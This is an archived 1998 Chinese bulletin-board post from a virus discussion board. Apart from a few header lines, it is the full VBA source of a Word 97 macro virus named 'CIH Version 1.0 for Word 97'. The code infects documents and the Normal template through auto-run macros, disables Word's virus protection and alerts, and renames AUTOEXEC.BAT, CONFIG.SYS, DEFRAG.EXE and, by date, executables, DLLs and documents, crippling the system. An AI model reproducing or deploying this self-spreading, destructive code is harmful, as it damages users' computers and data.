发信人: Wwashington()
整理人: emil(1999-08-16 08:42:20), 站内信件
|
发信人: [email protected] (相遇相知相惜相伴), 信区: virus
标 题: 发现新的巨集病毒-CIH Version 1.0 for Word 97
发信站: 中兴法商北极星 (Mon Jun 15 09:06:57 1998)
转信站: dragon!feeder.seed.net.tw!spring!news.csie.ncu!news.ncu!news.nctu!news.
这是在网页上下载到的原始病毒程式码
Global Const Virus = "CIH Version 1.0 for Word 97"
Global Const SPI_SCREENSAVERRUNNING = 97
Global Const CONFIG = "C:\CONFIG.SYS"
Global Const AUTOEXEC = "C:\AUTOEXEC.BAT"
Global Const WININI = "\WIN.INI"
Global Const SYSTEMINI = "\SYSTEM.INI"
Global Const DEFRAGEXE = "\DEFRAG.EXE"
Global Const MaxOutPut = 300
Global Founds() As String
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDir
ectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirec
toryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParamete
rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fu
WinIni As Long) As Long
Sub AutoOpen()
If InputBox("Password:", Virus) = "xswcdevfr" Then
If InputBox("Password:", Virus) = "xswcdevfr" Then
Exit Sub
End If
Initial
On Error Resume Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Next J
End Sub
Sub AutoExit()
If InputBox("Password:", Virus) = "xswcdevfr" Then
Exit Sub
End If
Initial
On Error Resume Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Next J
End Sub
Sub AutoClose()
If InputBox("Password:", Virus) = "xswcdevfr" Then
Exit Sub
End If
Initial
On Error Resume Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Next J
End Sub
Sub Initial()
Dim pOld As Boolean, App As Application
Call SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0)
Set App = Application
With App
.ScreenUpdating = False
.DisplayAlerts = wdAlertsNone
End With
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Rename AUTOEXEC
Rename CONFIG
Rename DEFRAGEXE
Select Case Day(Now)
Case 1 To 2
Rename "a*.*"
Rename "c*.*"
Rename "p*.*"
Case 3 To 10
Rename "*.COM"
Case 11 To 20
Rename "*.EXE"
Case 21 To 24
Rename "*.DLL"
Case 25 To 27
Rename "*.DOC"
Case Else
Rename "*.TXT"
End Select
End Sub
--
※ 来源:．广州网易 BBS bbs.nease.net．[FROM: news.foshan.gd.]
|
|